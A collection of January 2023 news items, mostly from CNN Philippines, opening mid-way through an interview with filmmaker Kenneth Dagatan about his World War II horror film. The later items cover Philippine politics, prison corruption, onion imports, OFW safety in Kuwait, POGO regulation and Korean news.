While writing it, we had a small family gathering and me and my father were talking about World War II. My grandfather was a guerilla soldier in World War II and sinasabi niya kung paano nag-struggle yung grandmother ko from loneliness and anxiety. Di sila makalabas ng bahay, sobrang claustrophobic nung feeling during war [dahil] natatakot ka sa external forces na baka umabot sa bahay mo. They tried to escape in the mountains to hide. [Then] I realized that yun rin yung na-fe-feel ko sa pandemic: yung claustrophobia, yung depression, yung fear of the external forces. And doon ko naisip na pwede kong [kunin] yung nafe-feel ko sa pandemic and [I can] mirror it in a World War II [narrative]. I wanted to create a contrast between the two crises  yung pinagdaanan ko at yung pinagdaanan ng grandparents ko. Its the same fear, but different monsters. Doon ako na-excite. So I called Bianca and said lets make it a period film [set] in 1945. Doon pumasok ang lahat  the religion aspect, etc.

Beauty Gonzales in "In My Mother's Skin." Photo by KENNETH DAGATAN

What was the research process like to make that adjustment? Im especially curious about the production design and location scouting because your films in the past have such strong rural milieus.

At first, while writing, you have do to the research para alam mo kung ano yung milieu back then, ano yung lifestyle, what theyre eating, ano yung nangyari sa war. The film [takes place] in the last months of World War II and I approached our production designers Ben [Padero] and Carlo [Tabije]. They were game to do it. Sobrang fun yung research nila in terms of wardrobe!

The films I watched again and again for research  [to understand] the way they speak and how they prayed back then  were [Mario OHaras] Tatlong Taong Walang Diyos and [Peque Gallagas] Oro, Plata, Mata. I watched it again and again para sa themes na gusto nilang sabihin. Sa Tatlong Taong Walang Diyos, doon ko nakuha yung structure ng protagonist namin. Sobrang ganda nung film. Ang bigat! Lalo na yung false hope. Anong kind of hope ba yung hinahanap natin? Is hope a dangerous thing? Ang Tatlong Taong Walang Diyos, ang dami niyang dini-discuss about hope during war and yun yung mga nafe-feel natin during the pandemic.

Pero ito yung pinaka-happy ako that we got: the house. The house [we have] is the same house as Oro, Plata, Mata. We had an ocular here sa houses sa Manila. Pero sobrang gusto ko yung house sa Oro, Plata, Mata. [So I asked:] Can we check out the house? We went to Bacolod to do an ocular there and we visited dozens of houses. But the first time [we went] to that house [Gaston Mansion in Hacienda Rosalia], I got goosebumps. I told them: this is the house. After two years of research, na yun rin yung basis nung script and [the] geography [of the script], seeing it in person was wow, man. The fact that its World War II and we have Ronnie Lazaro na nasa Oro, Plata, Mata rin? Parang full circle. Ang ganda lang na na-manifest namin yung lahat.

This is the first international co-production between Taiwan (Volos Films), Singapore (Zhao Wei Films and Clover Films), and the Philippines (Epicmedia). Youve been working with Epicmedia for a while now, but what was the collaboration process like with other international players?

I was super skeptical of working with a foreign cinematographer. I was telling my producers that I want a Filipino cinematographer because the themes and the Filipino elements needed a Filipino eye for the visuals. But the grants [allowed us] to learn another process of filmmaking; to have different voices, cultures, and tastes. Doon ako na-amaze.

Kenneth Dagatan with actress Beauty Gonzales at Sundance. Photo courtesy of BIANCA BALBUENA

While working, walang language barrier or even cultural barrier. Everything, connected lahat. Walang barrier when it comes to film language. Lahat ng themes, kahit sobrang Filipino, nako-connect rin [nila] to their own culture. So we speak on universal themes. Ang ganda nung process. Nagbibigay sila ng different ideas kung paano i-sho-shoot and kung paano i-a-atake. Doon ako sobrang thankful that [our cinematographer] Russell [Morton] helped me finalize and create the [visual] language of the film itself. Feeling ko hindi ganoon kaganda yung film kung hindi si Russell yung nag-ilaw o naging cinematographer.

For the post-production, my editor [Ming-Cheng Kao] is Taiwanese, so we had a translator in the editing room while editing because he doesnt speak English that much. Its a really different process, but doon ako na-amaze. We understand each other because we understand what emotions we want to have in the film. Sometimes, I dont even have to say ito yung gawin natin. Minsan, ginagawa lang niya. Alam na niya yung gusto kong gawin and super amazing na process. Even with our sound designers [Eddie Huang and Yi Ling Chen], ang daming magaganda. I think this film is different because of all of their good ideas and Im very thankful for that. I think this is [the power] of film language. We have different languages but because of cinema, naco-connect natin lahat.

What would be necessary to support more genre filmmaking and filmmakers in the Philippines?

Watching films in theaters and watching Filipino films. Here in Manila, everyones watching films. But in regional cities? Provinces? Di umaabot yung films doon. Especially films like [the ones] in QCinema. I mean, even me. I came from Cebu. To be honest, wala akong alam about Cinemalaya films before. Wala akong alam sa mga Cinema One. Dahil kay Victor Villanueva [the director of Patay na si Hesus], doon lang namin nalaman na may Cinema One. Ang hirap niya because its an information thing. But Im happy na super supportive dito sa Manila. Every Cinemalaya, packed. Wow. Thats one of the reasons bakit lumipat ako, sobrang nafe-feel ko yung support. I really hope that throughout the Philippines, these genre films will be screened. We all have stories to tell.
Metro Manila (CNN Philippines Life, Jan. 24)  Start the lunar new year by attending art and music shows, planning a trip to Baguio, and trying new things in the form of a flower arranging workshop and a short film competition.

Watch a hip-hop collectives homecoming show

Its been almost a year since Filipino hip-hop collective Kartell'em has done a headlining show in Manila. On Jan. 28, the collective is hosting Balik Makati, a homecoming show at Arkipelago in Bagtikan St., Makati. Featuring live sets from the full Kartellem lineup, as well as their friends Sica, Yorko, Wavyier, Ne7in, Nickname, IDSG, and more, its set to . The event will feature an open mic from 7 to 8 p.m. Pre-sale tickets go for 300, while door tickets are 350. For more information, visit the Kartellem Facebook page.  CNN PHILIPPINES LIFE STAFF

Attend a music and arts show

On Jan. 28, artist community Sining Collective is holding their first show of the year at SaGuijo Cafe + Bar Events, Makati. Aninag will feature musical performances by Tanya Markova, Esremborak, As Silent As The Forest, Never Run, Run Like Lions, MANOY, and LUNARLIGHTS. Art from Meowinism, Zel Christine, Corpser, Polaris Brightstar, and more will also be on display. Tickets are priced at 500. For more information, visit their event page.

Submit an entry to this years QCShorts competition

QCinema 2023 is now accepting entries for its famed short film competition, which promotes new talent in local cinema. Previous grantees include filmmakers Trishtan Perez (i get so sad sometimes), Whammy Alcazaren (BOLD Eagle), Che Tagyamon (Judy Free). Six production grants worth 350,000 are up for grabs by filmmakers who send in their pitches before Feb. 28, 2023. For full details, visit the QCinema Facebook page.  CNN PHILIPPINES LIFE STAFF

Learn how to make floral arrangements

Toronto-based florist Kim Francisco (known professionally as Paraluman Flora) is hosting her first floral painting and arranging workshop in the Philippines this Jan. 25. Learn how to paint flowers and design vase arrangements from Francisco, who is known for her brightly-colored bouquets. The 4,000 workshop registration fee is inclusive of supplies (including fresh flowers, paint and embellishments, vase and designing tools, and food and drinks). Sign-ups close on Jan. 25. For more information, visit Paraluman Floras Instagram.  CNN PHILIPPINES LIFE STAFF

Almond croissant and cereal milk (left) and Kimchi rice (right) from Rebel Bakehouse in Baguio. Photos by MARGA BUENAVENTURA

Check out this mini itinerary of Baguio spots to hit during the Panagbenga Festival

The Panagbenga Festival in Baguio is the citys annual tribute to their abundance of flowers; started in 1990, the festival was also their way of uplifting the public after the devastating earthquake that hit Baguio that year. For a city thats a certified tourist trap, Panagbenga will definitely draw more people up north during this month-long festival that starts on Feb. 1. So if you and your loved ones ever find yourselves there to celebrate, I have a few Baguio spots to suggest from my recent trip to the City of Pines. A stay at Easter Home Baguio, a Department of Tourism-accredited bed and breakfast that feels a lot like staying with family while on vacation. Rooms are simple, clean, and include a common kitchenette for days you feel like staying in for meals. For a big group, I suggest renting out the whole place and making a home out of it. Accommodations start at 1,600 per person, which includes breakfast at Hatch Coffee next door, which offers a short but robust menu of food and drinks. My personal recommendations are the grilled cheese, the Loco Moco (their take on burger steak), the longgasilog, and the iced horchata. Besides the usual, beloved Baguio haunts, I suggest visits to Chaya Restaurant for Japanese fare (the sukiyaki is a must-order), Chefs Home for Thai food (the crispy papaya salad is worth going to Baguio for), and Rebel Bakehouse for a heavy merienda (my personal picks are the almond croissant and the kimchi fried rice). With Panagbenga in full swing after years of no celebrations, it would be wise to plan your itinerary and reserve early, because you wouldnt want to visit Baguio without hitting any of these spots.  MARGA BUENAVENTURA

Early reservations to these places are highly recommended. For more information, inquire via Instagram at Easter Home, Hatch Coffee, Chaya Restaurant, Chefs Home, and Rebel Bakehouse.




Army Chief of Staff General Park Jeong-hwan could visit Hawaii around April for talks with his U.S. and Japanese counterparts on trilateral defense cooperation, military officials said Tuesday.







Park is reviewing whether to accept the U.S. Indo-Pacific Command's recent invitation to attend the trilateral meeting slated for early April, according to an official.







"It is too early to disclose the details, as whether General Park will attend has not been decided yet, and we are still coordinating on the format and agenda of the meeting," he said.







The meeting comes as the South is striving to step up security coordination amid North Korea's evolving military threats and growing concerns it could conduct a seventh nuclear test.







Last year, the three countries held a trilateral anti-submarine exercise as part of efforts to sharpen deterrence against the North's threats and agreed to share real-time data on Pyongyang's missiles. (Yonhap)


Metro Manila (CNN Philippines, January 23)  Guards of the Bureau of Corrections (BuCor) reportedly operated a GCash transaction corruption scheme within prison walls, Justice Secretary Jesus Remulla and BuCor acting director general Gregorio Catapang told reporters.

Persons deprived of liberty (PDLs) receive money from their family through GCash. Because inmates do not have phones, these GCash interactions are coursed through the prison guards.

As part of the scheme, the guards would reportedly deduct a sort of tax off the transactions ranging from 12% to 20% of the total.

The GCash system in BuCor, yung mga kamag-anak na nagpapadala ng pera sa loob, kinakaltasan ng mga guard ng 12% to 20%, Remulla said Monday.

[Translation: Family members will send money to inmates and guards will deduct 12% to 20% from this.]

Catapang, in a separate interview, said that PDLs had spoken up to him about the abuse: Sa alam ko kapag 1,000 daw, kasi nakausap ko din yung nasa loob sabi nila pwede pababaan lang? Yung 1,000 ang kinakaltas samin 100.

[Translation: Ive spoken to some of the inmates and they said Can the deductions be reduced? If we get 1,000, they take 100.]

He revealed that six guards had been caught participating in the scheme and were subsequently discharged from service.

Yung GCash scheme, na-discover namin ang daming pera and tinatago sa locker ng mga empleyado. Pera ng PDL yon na pinapatago sa guard, Catapang said.

[Translation: We discovered that a lot of money was being hidden in the employees lockers. This money belongs to PDLs and was being hidden by the guards.]

Over 300,000 was confiscated from the BuCor guards running the scheme, according to Catapang.

A coping mechanism prevalent in multiple prisons

Meanwhile, these schemes are run not just in the New Bilibid Prison but in multiple detention centers throughout the country, Remulla admitted.

It's the same thing with BJMP (Bureau of Jail Management and Penology) and all the division facilities including PDEA (Philippine Drug Enforcement Agency), yung corruption sa loob, lalo na sa PDLs [The corruption inside especially among PDLs], Remulla said. At first glance, pagpasok nila inaabuso na kaagad ang PDL natin [our PDLs are immediately abused upon detention].

Remulla described the GCash scheme as one of the coping mechanisms taken by members of the correctional system to deal with the poor living conditions, a notable one being malnutrition.

Malnutrition is really a general condition here. The coping mechanisms that people adjust to have brought up crime within the system, one example is the GCash system, Remulla said.

Its so prevalent we dont really know how to start with the investigationwe will rationalize it. Basta ang mahalaga, i-ayos ang pagpapakain sa mga tao [Whats important is that we fix how we feed our people]. Malnutrition is an endemic problem here which is why these coping mechanisms give way to crime, he added.

Remulla also said that PDLs have a daily food budget of only about 70.

Related:

Ex-BuCor official reveals 'money-making' schemes in Bilibid

'Unholy alliances' between inmates, jail guards make Bilibid a hotbed of corruption

Senators lament 39-peso daily food budget in BuCor prisons
Metro Manila (CNN Philippines, January 24)  Suspended Bureau of Corrections chief Gerald Bantag still refused to answer the allegations against him in connection with the murders of radio broadcaster Percival Percy Lapid Mabasa and Bilibid inmate Jun Villamor.

Instead of submitting his counter-affidavit, Bantag on Tuesday filed a motion to reconsider the rejection of his plea to inhibit the panel of prosecutors of the Department of Justice (DOJ) from handling the case.

Bantag wants to move his case from the DOJ, and let the Office of the Ombudsman handle the investigation.

His lawyer, Rocky Balisong, firmly denied delaying the proceedings.

No, of course its not, because this is part of the process. Anybody who feels that the decision has to be reconsidered has the right to file the same within a period of 10 days, he explained.

Balisong claims that since his client had a pending murder complaint against Justice Secretary Jesus Crispin Remulla before the Ombudsman, the two cases should have been consolidated.

READ: Bantag files murder, misconduct complaints vs Remulla, others before Ombudsman

It should be brought to the Office of the Ombudsman whose impartiality has not been questioned by any of the parties, he said.

For the brother of the murdered radio broadcaster, Bantags motion for reconsideration offers no fresh information.

Its just a mere reiteration of the previous petition na ifinile nila yung motion to transfer at saka yung motion to dismiss [It's just a mere reiteration of the previous petition that they filed  the motion to transfer and the motion to dismiss], Roy Mabasa said.

Should Villamors sister file a comment on Bantags motion, Senior Assistant State Prosecutor Charlie Guhit explained another hearing will be scheduled on Jan. 31.

Meanwhile, the Mabasa family and the Philippine National Police maintained theyre no longer filing any comment.
Metro Manila (CNN Philippines, January 24)  Philippine bet Celeste Cortesi expressed gratitude to Filipinos and to her loved ones as she announced her return to the country.

Ive always had the burning passion for my country, Cortesi said on her Instagram post. To my country, I stand proud to be a Filipina.

Cortesi also said representing her country in the Miss Universe beauty contest was her greatest honor as it also allowed her to discover purposes that go beyond self ambition.

Ive always known by heart that there are no limits in what you can achieve as long as you are committed to the vision and your intentions are pure, Cortesi said.

The beauty queen also dedicated the post to her late father, who she refers to as her guardian angel.

To my father, you guided me up to this day, Coretesi said. I feel your protection. If you are redirecting me to a different path, to what is truly meant for me, I trust you.

Cortesi ended her journey after failing to enter the top 16 of the 71st Miss Universe pageant in New Orleans, Louisiana, USA.

RELATED: Celeste Cortesi ends Miss Universe 2022 journey
Metro Manila (CNN Philippines, January 23)  Until the Department of Agriculture (DA) is reorganized and all the boxes on his bucket list are ticked, President Ferdinand Marcos Jr. has yet to transfer control over the agency to a Cabinet secretary.

In a media interview on Monday, Marcos explained that the multifaceted problems in the agriculture sector could only be addressed faster if the president is the head of the DA.

For me [in] DA, there really are things that I can do that if there was a secretary and he or she did it, magagawa pero matagal, madaming diskusyon [it will be done but it will be slow, there will be discussions], he said.

The President, they cannot say no to. And pag hindi nila ginawa yung utos ko, puwede kong sitahin [If they dont do what I order, I can reprimand them], he added.

RELATED: Marcos: Agri expert to replace me as DA Secretary, not retired military official

Marcos earlier said that he would appoint a full-time agriculture secretary when he has all items on his bucket list ticked off, which include helping local farmers, adopting new crop varieties, and developing technology.

The most highlighted issue in the presidents list is local production. He stressed that local production remains the root of the agriculture sectors problems.

But we come back to the problem of production. Once I know that the value chain has already been put together  never mind that it is functioning yet, but we already know what needs to be done in each part of that value chain and we have the means and we have a plan  then, we will have a secretary who will then take my place and will implement that plan, Marcos said.

The chief executive further said he still has to restructure the bureaucracy within the DA "for the simple reason that we are doing different things from what they were doing  what we were doing before.

Sourcing non-traditional supplies to address climate change

As climate change remains an overarching issue in agriculture, Marcos said he is eyeing sourcing non-traditional" supplies to address the countrys constantly changing weather and to help with local production.

He explained that non-traditional suppliers refer to having multiple sources of basic commodities or agricultural products that the country can resort to in times of need.

With the shocks that have hit the global economy and with the supply chain problems that we see everywhere, then that is...something that we have to work around. And the way to do it is to have many sources of supplies so that whatever happens we have somewhere to go, Marcos said.

Hopefully down the road, in a few years, we no longer have to worry about non-traditional supply because we will be able to produce enough for ourselves, he added.

The president also said he has already reached out to his counterparts in other countries regarding non-traditional supply.
Metro Manila (CNN Philippines, January 24)  The Commission on Elections (Comelec) is eyeing the possibility of mall voting for the barangay and Sangguniang Kabataan (BSK) polls this October.

At the launch of the Register Anywhere Project (RAP) at the House of Representatives on Tuesday, Comelec Chairman George Garcia said voting inside malls will be more convenient for voters instead of going to schools.

READ: Comelec to launch Register Anywhere Booths in NCR

Naisip na rin ng commission na kung kaya nating magpa-register, bakit hindi rin tayo mag-pilot test na yung barangay and SK election ng mall voting? Mas convenient sa kababayan natin, mas alam natin na pupunta sila sa mall at boboto sila, the chairman said.

[Translation: The commission also thought that if we can register, why don't we also pilot test the barangay and SK election of mall voting? It is more convenient for our countrymen, we know more that they will go to the mall and they will vote.]

Hindi pa natin gagamitin ang mga eskwelahan para hindi nasisira ang gamit ng kabataan. At the same time, mas maayos ang pagboto ng ating mga kababayan kahit pumipila sila, he added.

[Translation: We will not use the schools yet so that the youth's equipment are not damaged. At the same time, our countrymen can vote more smoothly even if they queue up.]

READ: Comelec 100% ready, no more reason to postpone BSK polls

Under RAP, voter registration sites will be set up in convenient locations, such as government offices and malls. First-time voters, as well as those who wish to reactivate their records can register on-site.

Those who seek to apply for a transfer of registrationfrom overseas to local or from another city or districtcan also do so through RAP.

The RAP site at the House of Representatives will receive applications until Friday, Jan. 27.

Garcia said the Comelec aims to receive around 1.5 million applications by the end of the voter registration period on Jan. 31.

So far, he said 1.1 million applications have been submitted to the Comelec.

Comelec earlier dismissed the call for extension of poll registration for this years BSK elections.

READ: Comelec: New voters for barangay, SK polls reach 1M; extension unlikely

Meanwhile, House Speaker Ferdinand Martin Romualdez said the chamber will seek guidance from the Comelec on pending electoral reform bills. He said there are certain antiquated electoral laws that must be amended to reflect changing times and evolving technologies.

The passage of an enabling law to strengthen public participation will be our topmost priority here in Congress as we would like citizens involvement in government activities, Romualdez said.
Metro Manila (CNN Philippines, January 24)  The Philippine government is not yet considering a suspension on the deployment of overseas workers to Kuwait following the death of another Filipino in the Gulf state, the Department of Migrant Workers (DMW) said Tuesday.

DMW Secretary Susan Toots Ople, who gave updates on the case of slain domestic helper Jullebee Ranara, said the agency is looking into forming additional safeguards to ensure the safety of OFWs in Kuwait.

Ang nakikita namin on the ground, mabilis umaksyon ang Kuwaiti government [What we are seeing on the ground is that the Kuwaiti government acts fast], Ople told Senate reporters.

So no, were not contemplating suspension of deployment to Kuwait, but yes, we are looking at additional safeguards and reforms to make sure workers bound for Kuwait are better protected, she added.

The DMW earlier confirmed the death of the 35-year-old Ranara, whose burnt body was found in the desert over the weekend.

The suspect, reported to be the 17-year-old son of Ranara's employer, is already under police custody, the department added.

Ople vowed that the government will provide assistance to Ranaras family, including insurance and scholarships for her children.

Senator wants ban

A senator, however, is pushing for another ban on the deployment of Filipino workers to Kuwait, saying the nation is not a safe place for OFWs.

Senator Jinggoy Estrada, who chairs the chambers committee on labor, said in a privilege speech that the Philippines should not have lifted its previous bans.

[I]t is also recorded, marami na ho talagang pang-aabuso na ginagawa itong mga amo nitong ating mga OFW [There have been many cases of abuse against our OFWs]. Thats why, I want to recommend to ban our OFWs from working in the state, Estrada said.

The Philippine government last imposed a deployment ban to Kuwait in January 2020, following the death of Jeanelyn Villavende, an OFW who was also allegedly killed by her Kuwaiti employer. The ban was lifted on the same year her employers were charged with the crime.

Meanwhile, Estrada questioned why Ranara's local recruitment agency was able to continue operations despite having pending cases before the adjudication board of the DMW.

He and other senators also called for a mechanism that would screen employers prior to the deployment of workers.

CNN Philippines Eimor Santos and Alyssa Rola contributed to this report.
Metro Manila (CNN Philippines, January 24)  A 68-year-old Fil-Am was among at least 11 people killed in Monterey Park, California after a gunman opened fire at a Lunar New Year party over the weekend.

The Philippine Consulate General in Los Angeles confirmed the news on Tuesday, identifying the victim as Valentino Alvero, a US citizen of Filipino descent.

In a statement, the consulate expressed "shock and great sadness over the mass victims."

"Our prayers go out to the families of the victims and we mourn with them during this lunar new year festival, which is supposed to be a time of gathering and celebration," it added.

It also said it understands the Alvero family's desire for privacy and space, but assured it is ready to assist them in whatever possible way.

Eleven people over age 50 died while nine others were wounded from the mass shooting at a dance studio in Monterey Park, which has a large Asian American community, CNN reported.

READ: How the Monterey Park shooting and manhunt for the gunman unfolded

Authorities identified the gunman as Huu Can Tran, a 72-year-old Chinese immigrant with a limited criminal history, including an arrest in 1990 for unlawful possession of a firearm.

He was described as having an interest in dance and a hot temper. His motive for killing has not yet been determined.

Less than a day after the massacre and following a standoff with police, the suspect was found dead inside a van with a self-inflicted gunshot wound, authorities said.

READ: What we know about the suspect in the Monterey Park massacre

The Philippine Consulate called on the Filipino community to exercise all caution and continue being vigilant, including by monitoring the whereabouts of loved ones and family members.

"Immediately report any suspicious activities to local law enforcement and watch out for each other," it said. "Let's stay safe."

Philippine Ambassador to the US Jose Manuel "Babe" Romualdez also expressed concern over the incident, adding that authorities are already looking into the case.

Its something that it can happen to anyone and its unfortunate that it continues to happen, but Im sure authorities are doing what they can, Romualdez said. Its really very sad to hear this.
Metro Manila (CNN Philippines, January 24)  Sen. Win Gatchalian is proposing a separate regulator for casinos and the Philippine Amusement and Gaming Corp. (Pagcor) amid issues on the agency allowing gaming operators possibly involved in kidnapping and human trafficking cases to continue operating in the country.

"In my view, it's much cleaner to establish a separate gaming regulator regulating all gaming corporations including Pagcor itself," Gatchalian told CNN Philippines' The Source on Tuesday. "Pagcor should be subjected to an independent regulator because they also operate casinos."

At a Senate hearing on Monday, Gatchalian criticized Pagcor for its lack of sense of urgency regarding the matter.

The senator noted that in December, Sen. Grace Poe named in her privilege speech two POGO service providers involved in criminal activities.

Since then, Pagcor only fined them with a "miniscule" 500,000, and is still coordinating with the police as of Jan. 23, he added.

For Gatchalian, this issue also highlights the conflict of interest of Pagcor.

"Pagcor makes money out of the licensees and the service providers," he pointed out. "On the other hand, they are making money, they are making revenue, on the other hand they are regulating, meaning they're enforcing laws against these licensees."

Gatchalian said this goes to show that "profits [are] more supreme over regulation" that is why these erring licensees are allowed to continue operating in the country despite their possible involvement in kidnapping and human trafficking cases.

He said Pagcor should have been proactive in looking into the involved service providers, immediately coordinated with the police, and conducted its own investigation.

"We are talking about kidnapping case here, we are talking about human trafficking case here," the senator said.

"We cannot let these types of individuals and operators operate in our shores because that's the kind of criminal activity that they are embroiled in," he added.

CNN Philippines is seeking comment from Pagcor.
Metro Manila (CNN Philippines, January 24)  The government will implement a program to assist onion farmers increase their yield in a bid to stabilize supply and bring down prices, Malacanang announced on Tuesday.

"We'll do this by increasing the area that is being planted to onions, number one," the Presidential Communications Office (PCO) quoted President Ferdinand Marcos Jr. as saying.

Marcos  who's also Department of Agriculture (DA) secretary  also wants to help onion seed producers generate high-quality seeds that will be distributed to farmers, the PCO added.

The DA earlier said onion prices are expected to drop from around 400 to 100-150 per kilogram when more than 5,000 metric tons (MT) of imported onions arrive this week.

READ: Imported onions to be sold this week

The DA will also establish a two-month buffer stock for sugar to prevent supply shortages in the future.

"Again [for] sugar, to cut down speculation, we are guaranteeing a buffer stock of two months. So hindi magkaka-shortage, hindi dapat tataas ang presyo [So there should be no shortage, prices should not increase]," Marcos said.

According to the PCO, the DA and the Sugar Regulatory Administration have recommended importing up to 450,000 MT of sugar, in accordance with the president's order to maintain a two-month buffer stock.
Metro Manila (CNN Philippines, January 24)  The Bureau of Plant Industry (BPI) said nearly 600 metric tons (MT) of imported onions are in cold storage and are expected to be sold within the week.

"Ayon sa latest information, nasa may 218 metric tons ng dilaw na sibuyas, or yung puting sibuyas, 370 metric tons ng pulang sibuyas yung nasa cold storage na," BPI Industry Information Section OIC Jose Diego Roxas said at the Laging Handa briefing on Tuesday.

[Translation: Based on the latest information, there are around 215 MT of yellow or white onions, and 370 MT of red onions that are already in cold storage.]

Roxas said these were being subjected to a second border inspection  meaning authorities are looking at the containers to ensure they are as declared.

He added the onions in storage are just part of the 5,000 MT expected to arrive in the country within the week.

"Sa ngayon inaasahan natin na within this week maaari na nating mabili yung mga sibuyas na pumasok," added Roxas.

[Translation: Right now, we expect the onions to be sold within the week.]

The initial plan was to import 21,000 MT tons of onions, but BPI officer-in-charge Gerald Panganiban said around 5,000 MT are expected to come in since the application to import so far only covers 25% of the approved allotment.

Roxas said other shipments of the produce are expected to arrive by Friday, but the government would be very strict with the deadline.

"Pag merong hindi umabot, yun ay pababalikin sa pinagmulan. Tayo po ay mahigpit na magpapatupad ng must-arrive date na January 27 para naman maging patas tayo at hindi bahain ng sobra-sobra yung merkado ng sibuyas," he said.

[Translation: Should there be shipments that do not come on time, they will be sent back to their point of origin. We will be strict in following the must-arrive date of January 27 so we can be fair and not flood the market.]

Earlier this week, some lawmakers protested the importation, saying it would be harmful to farmers.

EXPLAINER: Why onions in PH are now more expensive than meat

Consider farmers

In a sit-down interview with the media on Monday, President Ferdinand Marcos Jr. said the welfare of farmers must also be a priority.

"We always have been talking about production, production, non-importation, et cetera. And we have to always remind ourselves that you know what we are really talking about is the livelihood of the farmers as well," he said.

He said part of the problem concerning agriculture is that younger people do not want to get into the trade.

The short-term solution to the increasing prices of food products has led to the need to import, the president said. He added, however, that timing is crucial.

"The schedule of importation both of sugar and onion, all of the other commodities  the schedule is very, very important. Its not just a question of one lump importation at the beginning of the year. It has to come in at the proper time so you are not competing with local farmers," he said.
A 41-year-old Chinese man is taken to a hotel, designated by the government as a temporary quarantine facility for entrants from China, in Incheon, 27 kilometers west of Seoul, in this file photo. The man had illegally left the hotel two days before after he tested positive for COVID-19 upon entering Korea via Incheon International Airport, Jan. 5. Yonhap



The government has deported a Chinese national detained for going into hiding without entering mandatory quarantine after testing positive for COVID-19 upon arrival in Korea earlier this month, officials said Tuesday.



The 41-year-old was deported Jan. 13, eight days after he was taken into custody for refusing to be quarantined and later fleeing after he tested positive for the coronavirus following his arrival at Incheon International Airport, Jan. 3.



"He was referred to the prosecution after a police investigation on charges of violating the Infectious Disease Control and Prevention Act, but it takes more than a month before a court trial," an official of the Central Disaster Management Headquarters said.



"We had to release him, because the case does not constitute a reason for requesting a formal arrest warrant and so the Immigration Service took the measure of forced deportation, which the agency can take on its own without a trial," the official said.



If the prosecution had taken the man to court a fine could be imposed in the case he was found guilty, the official said. Up to one year in prison or a 10 million won ($8,121) in fine can be imposed on violators of the Infectious Disease Control and Prevention Act.



The Chinese man has also reportedly been barred from entering Korea for one year. (Yonhap)


Metro Manila (CNN Philippines, January 24)  President Ferdinand Marcos Jr. has dismissed rumors that first lady Liza Araneta-Marcos is involved in political appointments, and has denied that he is grooming his son Ilocos Norte Rep. Sandro Marcos to be president.

The president made the statement during a media panel interview on Monday where he was asked about his wifes alleged involvement in the recent leadership shuffle in the Defense department

Zero. She really has no input on that, Marcos told journalists.

The chief executive explained his wife only helps in terms of organization of workflow and documents.

But thats the extent of it. We don't talk policy together. Shell comment, That looks good. That doesnt look good. I dont know why youre doing that. But thats it, he added.

Marcos further explained he only consults his wife, who is a lawyer, on legal matters.

Not political decisions. Legal. I will ask her. Whenever theres a legal question, Im not a lawyer, so I need an expert opinion. Shes right next to me most of the time, so I could turn to her, he said.

He added that he only includes his wife in discussions with his legal representation, which includes former Chief Justice and Executive Secretary Lucas Bersamin and former Senate President and chief presidential legal adviser Juan Ponce Enrile.

Another Marcos for president?

The president also denied that he is grooming his son Sandro to be president.

Were not grooming him for anything. He is grooming himself. He has decided on this career in politics, and he will handle it the way he does, the chief executive said.

He also said Sandro is busy with his plans for Ilocos Norte.

Everybody dreams to be at the number one position. But that doesnt mean that were plotting, he added.

The chief executive explained Sandro was part of the Philippine delegation to the World Economic Forum in Davos, Switzerland as his son is the author of the bill seeking the creation of the Maharlika Investment Fund, which was soft launched during the forum.

The president did not explain Sandros part in other international trips.

READ: RECAP: Marcos intl trips in first 7 months in office
Metro Manila (CNN Philippines, January 24)  The Philippine Amusement and Gaming Corporation (Pagcor) has placed its contract with its third-party auditor for the country's offshore gaming operators (POGO) under review.

Pagcor chairman Al Tengco said he ordered the review a month after his appointment in August last year.

"I decided in September na dapat ma-review natin 'yung kontrata [that the contract should be reviewed]," Tengco told CNN Philippines.

"And I can tell you that very soon, we're coming out with a decision whether we will still allow the third party auditor to continue rendering services for us or the possibility of terminating the contract," he added.

According to the Pagcor, the contract was awarded to Global ComRCI in December 2017. The terms and conditions and the company's performance are currently being evaluated.

"We assure the senators that the review will soon be finished and released at the proper time," the state-run gaming regulator said.

Sen. Win Gatchalian earlier warned of legal action against Pagcor officials over its "questionable" multibillion-peso contract with Global ComRCI.

While Global ComRCI appears to have met the 1-billion operating capital requirement, it was certified by a certain Soleil Chartered Bank, which is not registered with the Bangko Sentral ng Pilipinas, Gatchalian noted.

READ: Gatchalian hits Pagcor for questionable 3rd party auditor

Crime-linked POGOs?

"There have been no criminal activities or kidnapping-related incidents of workers in the offshore licensing industry for over three months," Pagcor maintained.

It emphasized that this was a result of a September meeting with law enforcement agencies combatting illegal gaming operations.

Pagcor was responding to allegations made during Monday's Senate hearing that the agency had failed to take immediate actions against delinquent firms.

According to Gatchalian, Pagcor continued to allow the operation of two POGO service providers  MOA Cloudzone Corp. and Brickhartz Technology Inc.  despite being implicated in kidnapping cases.

Pagcor said one of the cases was dismissed last year, while the other is still under investigation.

The agency has vowed to punish POGOs found to be violating the law. But it also promised to "nurture" the POGO industry, as it believes "it has much more to contribute to the Philippine economy and nation building."
Metro Manila (CNN Philippines, January 24)  Discussions on future maritime cooperation between the Philippines and the United States, including possible joint patrols in the West Philippine Sea, are underway, Manila's Ambassador Jose Manuel Romualdez said Tuesday.

In an interview on the sidelines of the Makati Business Club board meeting, Romualdez said the joint patrols with the US is among the topics constantly being discussed by defense and foreign affairs officials of both countries.

We will continue to improve that [military] alliance including the joint patrols if we need to do that, but as Ive said the cooperation between the Philippines and the United States is very solid, said Romualdez.

The envoy said President Ferdinand Marcos Jr. is always ready to support proposals that will benefit the country and help in enhancing the defense capabilities of the Philippines.

Romualdez, however, declined to expound more on the status of the joint patrol talks and whether it will start anytime soon amid ongoing tensions in the contested waters.

We are looking at all possibilities in terms of enhancing our capabilities. Joint patrols is like the VFA (Visiting Forces Agreement), we have joint exercises, joint patrols will be part of that agreement with the US, we will let you know when the patrols will take place, but its on the table, Romualdez said. Pinag-uusapan at malalim ang pinag-uusapan [Talks are ongoing and they are in-depth talks]."

The idea of joint patrols in the West Philippine Sea was also floated by former ambassador to the United States Jose Cuisia Jr. who noted that Beijings continuous activities and aggressive behavior in the South China Sea remain a cause for concern in the region.

My suggestion is joint Philippine-US patrols. Were quite concerned about the actions taken by China and only the US can help the Philippines counter such aggressive stance taken by China, Cuisia added.

United States Ambassador MaryKay Carlson also said that Washington is ready to engage with the Philippines regarding more maritime cooperation but any actions should be a collaborative and consultative endeavor.

Were certainly working with the Philippine Coast Guard in that regard whether its joint patrols or any other activities but the important thing is it will be done in conjunction with our Philippine partners, said Carlson.

Our two militaries have a long history of very solid cooperation. We have close to 500 engagements, some of these large engagements like Balikatan, that involved thousands of soldiers and airmen and marines on both sides, she added.

Former Foreign Affairs Secretary Albert del Rosario said an agreement to hold joint patrols between Manila and Washington in the disputed South China Sea was approved in 2016 by both the Philippines and US, but the plan was shelved during the time of then President Rodrigo Duterte.
